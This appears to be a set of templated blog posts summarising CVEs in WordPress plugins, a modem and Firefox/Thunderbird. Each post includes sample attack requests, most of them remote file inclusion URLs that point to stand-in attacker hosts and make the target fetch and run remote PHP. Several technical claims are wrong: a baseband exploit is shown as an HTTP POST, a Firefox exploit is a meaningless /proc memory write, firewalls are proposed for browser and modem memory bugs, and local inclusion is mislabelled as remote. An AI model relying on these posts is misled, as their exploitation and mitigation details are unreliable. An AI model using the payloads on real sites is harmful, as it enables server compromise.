Author: Ameeba

Overview

Today, we’re diving into the details of a significant security flaw, CVE-2025-53565, a PHP Remote File Inclusion vulnerability found in the RadiusTheme Widget for Google Reviews. This vulnerability affects all versions up to and including 1.0.15 and poses a significant threat to the security of any websites using this widget. This technical flaw allows an attacker to include remote PHP files, potentially leading to system compromise or data leakage. Therefore, understanding this vulnerability and how to mitigate its impact is critical for system administrators and web developers alike.

Vulnerability Summary

CVE ID: CVE-2025-53565
Severity: High (8.1 CVSS v3 Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

RadiusTheme Widget for Google Reviews | n/a through 1.0.15

How the Exploit Works

The PHP Remote File Inclusion vulnerability is a common type of vulnerability that occurs when a PHP script uses user-controlled data without proper validation in a ‘require’ or ‘include’ function. This can allow an attacker to inject a file from a remote server, which then gets executed in the context of the attacked application. In the case of CVE-2025-53565, the vulnerability resides in the RadiusTheme Widget for Google Reviews, which fails to properly validate the filename for the ‘include’ statement.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited using a malicious URL:

GET /vulnerable_widget.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, the attacker tricks the application into requesting a malicious PHP file (‘malicious_file.php’) from the attacker’s server (‘attacker.com’). The server then includes this file in its response, which is subsequently executed by the PHP engine on the target server, potentially leading to system compromise or data leakage.

Mitigation Guidance

To protect your systems from this vulnerability, apply the vendor patch as soon as it becomes available. In the meantime, consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These can be configured to block or alert on any attempts to exploit this vulnerability. Also, always remember to validate and sanitize all user inputs, especially those used in file include statements, to prevent such vulnerabilities in the first place.

Overview

In the cybersecurity landscape, the discovery of new vulnerabilities is a regular occurrence that organizations must be prepared for. One such vulnerability, identified as CVE-2025-53207, has recently surfaced, posing significant threats to WordPress sites using the WP Travel Gutenberg Blocks plugin. This post aims to provide a comprehensive understanding of this vulnerability, its potential impact, and the necessary measures to mitigate its risks.
The vulnerability in question involves an improper control of filename for the Include/Require statement in a PHP program. This flaw, commonly referred to as ‘PHP Remote File Inclusion‘ (RFI), could allow an attacker to include a remote file from an external server. This vulnerability matters because it can lead to system compromise or data leakage, posing a considerable risk to any organization that uses the affected plugin.

Vulnerability Summary

CVE ID: CVE-2025-53207
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WP Travel Gutenberg Blocks | All versions up to 3.9.0

How the Exploit Works

The exploit works by taking advantage of the PHP RFI vulnerability in the WP Travel Gutenberg Blocks plugin. The vulnerability lies in the improper handling of filenames for Include/Require statement in the PHP program. An attacker can manipulate this flaw to remotely include a file from an external server, which will then be executed in the context of the application. This could potentially lead to unauthorized access, system compromise, or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This pseudocode represents a potential HTTP request made by an attacker:

POST /wp-content/plugins/wp-travel-gutenberg-blocks/vulnerable.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
file=http://attacker.com/malicious_script.php

In this example, the attacker sends a POST request to the vulnerable page, specifying a malicious PHP script hosted on their server. If the request is successful, the server would include and execute the malicious script, potentially compromising the system.

Mitigation Guidance

The first line of defense against this vulnerability is to apply the vendor-provided patch. It is highly recommended that users of the WP Travel Gutenberg Blocks plugin update to the latest version, which includes important security improvements that address this flaw.
In cases where immediate patching is not possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These tools can monitor and block suspicious requests, including those attempting to exploit this vulnerability.
Remember, the best defense is a good offense. Stay proactive in maintaining and updating your software to ensure your systems remain secure against emerging cybersecurity threats.

Overview

In the rapidly evolving world of cybersecurity, a new vulnerability has caught our attention: the CVE-2025-53204. This vulnerability pertains to an improper control of filename for include/require statement in PHP Program, commonly known as a ‘PHP Remote File Inclusion’ vulnerability. The affected software is ovatheme’s eventlist, a widely used event management plugin for websites. This vulnerability is significant because it poses a risk of system compromise and data leakage, making it a pressing issue for any organization utilizing this software.

Vulnerability Summary

CVE ID: CVE-2025-53204
Severity: High (CVSS score 8.1)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

ovatheme eventlist | through 1.9.2

How the Exploit Works

The vulnerability exists due to an error in the eventlist software’s processing of PHP include/require statements. This allows an attacker to manipulate the filename parameter and include arbitrary files from remote servers. These files could contain malicious PHP code, which would then be executed in the context of the web server. As a result, the attacker could gain unauthorized access to the system or sensitive data.

Conceptual Example Code

Here’s an example of how the vulnerability might be exploited:

GET /path/to/eventlist/index.php?page=http://malicious.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In this example, the attacker has manipulated the “page” parameter to include a malicious PHP script hosted on their own server (`http://malicious.com/malicious_script.txt`). When the server processes this request, it includes the malicious script, which is then executed on the server. This could lead to a variety of harmful outcomes, depending on the content of the malicious script.

Mitigation Guidance

Organizations are urged to apply the vendor-provided patch as soon as possible to mitigate the risk posed by this vulnerability. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability. When configuring these systems, look for suspicious activity involving the manipulation of PHP include/require statements, particularly those involving remote file references.
In conclusion, the CVE-2025-53204 is a high-severity vulnerability that requires immediate attention. By understanding the nature of the vulnerability and taking the appropriate steps to mitigate its risks, organizations can help protect their systems and data from potential compromise.

Overview

A significant security vulnerability has been identified in the Favethemes Houzez PHP program, which affects all versions up to 4.0.4. This vulnerability, identified as CVE-2025-53198, is related to an improper control of filename for Include/Require Statement, also known as a PHP Remote File Inclusion. Given the ubiquity of PHP in web development, and particularly the widespread usage of Favethemes Houzez, this vulnerability could potentially affect a large number of websites and their users. The severity of this issue is further compounded by its potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-53198
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Favethemes Houzez | Up to 4.0.4

How the Exploit Works

The vulnerability arises from improper control of filename for Include/Require Statement in the PHP program. This can allow an attacker to inject a file from a remote server, circumventing the need for local file inclusion. In essence, the attacker can manipulate the PHP ‘include’ or ‘require’ statement to reference a specific file on their own server, effectively running their own code on the targeted system.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include=http://attacker.com/malicious_file.php

In this hypothetical example, the attacker sends a POST request to the vulnerable endpoint on the target server. The ‘include’ parameter references a malicious PHP file hosted on the attacker’s server. If the server is vulnerable, it would download and execute the malicious PHP file, granting the attacker control over the server.

Mitigation

To mitigate the risk posed by this vulnerability, users are urged to apply the patch provided by the vendor. In cases where immediate patching is not possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by monitoring and potentially blocking suspicious activities. However, these measures should be considered temporary, and it is strongly recommended that the vendor’s patch be applied as soon as possible to fully address the vulnerability.

Overview

CVE-2025-48171 is a critical vulnerability that affects the Cena Store application developed by thembay. This vulnerability is due to improper control of the filename for include/require statements in the PHP program. This allows malicious actors to exploit the PHP Local File Inclusion (LFI), leading to potential system compromise or data leakage.
As the Cena Store application is widely used in various e-commerce platforms, the impact of this vulnerability can be widespread, potentially affecting numerous online stores and their users. Thus, it is highly important to understand this vulnerability and implement the recommended mitigation measures.

Vulnerability Summary

CVE ID: CVE-2025-48171
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Cena Store by thembay | n/a through 2.11.26

How the Exploit Works

The vulnerability arises from the improper control of filename for include/require statements in the PHP program, specifically within the Cena Store application. This improper control allows an attacker to include a file from a remote server, which can contain malicious code.
The attacker can exploit this vulnerability by sending a specially crafted request to the server hosting the Cena Store application. The server then processes this request, leading to the inclusion of the remote file and execution of the malicious code.

Conceptual Example Code

Here is a hypothetical example of how the vulnerability might be exploited.

GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: vulnerable-cena-store.com

The above request tells the server to fetch the file `malicious.php` from `attacker.com` and include it in `index.php`. This effectively allows the attacker to execute arbitrary PHP code on the server, leading to potential system compromise or data leakage.

Mitigation and Recommendations

To mitigate this vulnerability, it is recommended that users of the affected Cena Store versions immediately apply the vendor provided patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure.
In addition, it’s also advisable to regularly update and patch all software to prevent exploitation of known vulnerabilities. Regular security audits and code reviews can also go a long way in ensuring the security of your systems.

Overview

This blog post provides an in-depth analysis of the CVE-2025-48160 vulnerability, a serious security flaw that affects CocoBasic Caliris up to and including version 1.5. This vulnerability stems from improper control of the filename for include/require statements in PHP programs, leading to possible PHP Remote File Inclusion. The potential impact includes system compromise and data leakage, making this an issue of high concern for users and administrators of affected systems.

Vulnerability Summary

CVE ID: CVE-2025-48160
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

CocoBasic Caliris | Up to and including 1.5

How the Exploit Works

The vulnerability exploits the improper control of filename for include/require statement in PHP programs, a common issue known as PHP Remote File Inclusion (RFI). RFI occurs when an application includes a PHP file from a remote server, allowing an attacker to inject code.
In the case of CVE-2025-48160, the affected software does not adequately sanitize user-supplied input for the filename. This lack of proper input validation means that an attacker can include a file from a remote server and execute arbitrary PHP code within the context of the web server process. This could lead to unauthorized access, disruption of service, or disclosure of sensitive information.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. Assume that the attacker wants to inject a malicious PHP file located at `http://malicious.example.com/badcode.php`:

GET /vulnerable.php?file=http://malicious.example.com/badcode.php HTTP/1.1
Host: target.example.com

In this example, the attacker sends a GET request to the vulnerable script (`vulnerable.php`), passing the URL of the malicious script (`http://malicious.example.com/badcode.php`) as a parameter. If the server is configured to allow URL includes, the malicious script will be executed when the vulnerable script is accessed.

Mitigation Guidance

Users of CocoBasic Caliris are advised to update their software to the latest version, which contains a patch for this vulnerability. If an update is not immediately possible, consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. As a best practice, always sanitize user-supplied inputs and avoid using user input directly in include/require statements.

Overview

A serious security vulnerability, identified as CVE-2025-48157, has recently been discovered affecting the software Formality by Michele Giorgi. The vulnerability is due to an improper control of filename for include/require statement in the PHP program, which in turn allows a PHP Local File Inclusion. This vulnerability could result in a potential system compromise or data leakage, posing a significant risk to the security and integrity of user data.
Formality versions up to and including 1.5.9 are impacted by this vulnerability. It is essential for organizations using this software to understand the potential risks, the manner in which the exploit works, and the necessary mitigation steps to protect their systems.

Vulnerability Summary

CVE ID: CVE-2025-48157
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Formality by Michele Giorgi | Up to and including 1.5.9

How the Exploit Works

The vulnerability stems from the PHP program’s improper control of filename for include/require statement. With this flaw, an attacker can manipulate the filename that the PHP include() and require() functions are calling. As a result, the attacker can trick the application into executing a PHP file from a remote server, hence the term “PHP Remote File Inclusion. This could potentially lead to unauthorized access, data leakage, or even complete system compromise.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited is shown below. The attacker sends a malicious request to the vulnerable endpoint, which causes the application to include a malicious PHP file from a remote server.

GET /index.php?page=http://attackersite.com/malicious_file.php HTTP/1.1
Host: target.example.com

Mitigation Guidance

The most effective way to address this vulnerability is to apply the vendor patch. Michele Giorgi has released updates that rectify this issue in the Formality software. Users are strongly advised to update their software to the latest version.
However, if updating is not immediately possible, usage of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can detect and block attempts to exploit this vulnerability.
In the long term, it is recommended to follow best practices for secure coding, such as validating all inputs and not allowing user-supplied input to influence file include paths directly.

Overview

This blog post delves into the details of a critical vulnerability, CVE-2025-20704, that has been identified in Modems. This vulnerability could potentially lead to a remote escalation of privilege, putting at risk any system or device that uses the affected Modem. Due to the severity of this issue and its potential for system compromise or data leakage, understanding this vulnerability, how it can be exploited, and how to mitigate it is crucial for cybersecurity professionals, IT administrators, and anyone responsible for maintaining the secure operation of connected devices.

Vulnerability Summary

CVE ID: CVE-2025-20704
Severity: High – CVSS score of 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Modem | All versions before patch MOLY01516959

How the Exploit Works

The CVE-2025-20704 vulnerability is caused due to a missing bounds check in the Modem, which can lead to an out of bounds write. This flaw can be exploited by an attacker who controls a rogue base station to which a UE (User Equipment) has connected. Once the UE is connected to the rogue base station, the attacker can manipulate the data sent to the Modem, causing the Modem to write data outside of its allocated memory space. This could result in a remote escalation of privilege without the need for any additional execution privileges.

Conceptual Example Code

Let’s consider a hypothetical scenario where an attacker has set up a rogue base station and a UE has connected to it. The attacker could send malicious payload to the Modem that looks something like this:

POST /modem/interface HTTP/1.1
Host: rogue.base.station
Content-Type: application/octet-stream
{ "data": "malicious_data_that_causes_out_of_bounds_write" }

This conceptual example is a gross simplification and actual attacks are likely to be more complex. But it illustrates the basic idea of how an attacker might exploit this vulnerability.

Mitigation Guidance

The most effective way to mitigate this vulnerability is to apply the vendor-provided patch (Patch ID: MOLY01516959). It is strongly recommended to test the patch in a controlled environment before deploying it into production systems to ensure it does not disrupt normal operations.
For those who are not able to immediately apply the patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These security systems can be configured to detect and block potentially malicious traffic that attempts to exploit this vulnerability.
The discovery of CVE-2025-20704 serves as a reminder of the importance of implementing a rigorous cybersecurity strategy that includes regular patching and updates, as well as proactive monitoring for unusual network activity.

Overview

In the ever-advancing sphere of cybersecurity, emerging threats and vulnerabilities constantly challenge the integrity of our digital systems. One such vulnerability, identified as CVE-2025-48149, exposes a critical weakness in the Cook&Meal software. This vulnerability, known as PHP Remote File Inclusion (RFI), allows an attacker to execute arbitrary PHP code remotely. It affects all versions of Cook&Meal up to and including 1.2.3. Given the high severity score of 8.1 assigned by the Common Vulnerability Scoring System (CVSS), it’s vital for users and administrators to understand the implications and take immediate remedial actions.

Vulnerability Summary

CVE ID: CVE-2025-48149
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise and/or Data Leakage

Affected Products

Product | Affected Versions

Cook&Meal | Up to and including 1.2.3

How the Exploit Works

The vulnerability stems from improper control of the filename for an include/require statement in a PHP program within Cook&Meal. This flaw allows an attacker to control the input path for the file, leading to the inclusion of remote files hosted on an attacker-controlled server. The attacker can then execute arbitrary PHP code within the server’s context, potentially leading to a full system compromise.

Conceptual Example Code

An attacker could exploit this vulnerability by sending a specially crafted request to the vulnerable application. A conceptual example of this might look like the following HTTP request:

GET /index.php?language=http://malicious.com/evilcode.txt HTTP/1.1
Host: target.example.com

In this example, the ‘language’ parameter would typically be used to include a local file that contains language-specific text for the application. However, due to the vulnerability, the attacker has manipulated it to include a remote file (`evilcode.txt`) hosted on their control server (`malicious.com`).

Mitigation and Recommendations

The most effective way to address this vulnerability is by applying the vendor-supplied patch. In the absence of a patch or while waiting for its deployment, organizations can use web application firewalls (WAFs) or intrusion detection systems (IDS) to monitor and block suspicious activities related to this exploit. Regular system and application updates should also form part of a comprehensive cybersecurity strategy to prevent similar vulnerabilities in the future.

Overview

This blog aims to provide a comprehensive insight into the CVE-2025-9185 vulnerability that affects several versions of Firefox and Thunderbird. This critical vulnerability is associated with memory safety bugs that could potentially lead to system compromise or data leakage. With a CVSS severity score of 8.1, this is a high-risk issue that requires immediate attention and remediation by the affected users.
The vulnerability is particularly concerning because it can be exploited to run arbitrary code, implying that an attacker could gain unauthorized access to the system and manipulate it to their advantage. Given the widespread use of Firefox and Thunderbird, there is a need for users to understand and address this vulnerability promptly.

Vulnerability Summary

CVE ID: CVE-2025-9185
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Firefox | < 142 Firefox ESR | < 115.27, < 128.14, < 140.2 Thunderbird | < 142 Thunderbird ESR | < 128.14, < 140.2 How the Exploit Works

The vulnerability is embedded in the memory safety bugs present in the affected versions of Firefox and Thunderbird. Some of these bugs have shown evidence of memory corruption, which can be exploited by an attacker to run arbitrary code. By sending a specially crafted packet to the victim’s device, the attacker can trigger the vulnerability and execute their desired code. This could potentially compromise the system and lead to data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This could be a sample shell command that a hacker might use:

# This is a conceptual example
$ echo 'exploit code' > /proc/`pidof firefox`/mem

This command injects the ‘exploit code’ into the memory of the running Firefox process, exploiting the memory vulnerability to run arbitrary code.
Please note, this is a conceptual example and not a working exploit. It’s meant to illustrate the vulnerability rather than provide an actual method for exploitation.

Mitigation and Remediation

The most effective way to mitigate the risk associated with CVE-2025-9185 is to apply vendor patches. Updates have been released for all affected versions of Firefox and Thunderbird, which resolve the memory safety bugs.
In the absence of immediate patching, users can also employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation. Both of these mechanisms can help detect and block malicious packets that aim to exploit this vulnerability.
In conclusion, the CVE-2025-9185 vulnerability poses a significant threat to Firefox and Thunderbird users. However, with the right understanding and prompt action, users can protect their systems and data from potential compromise.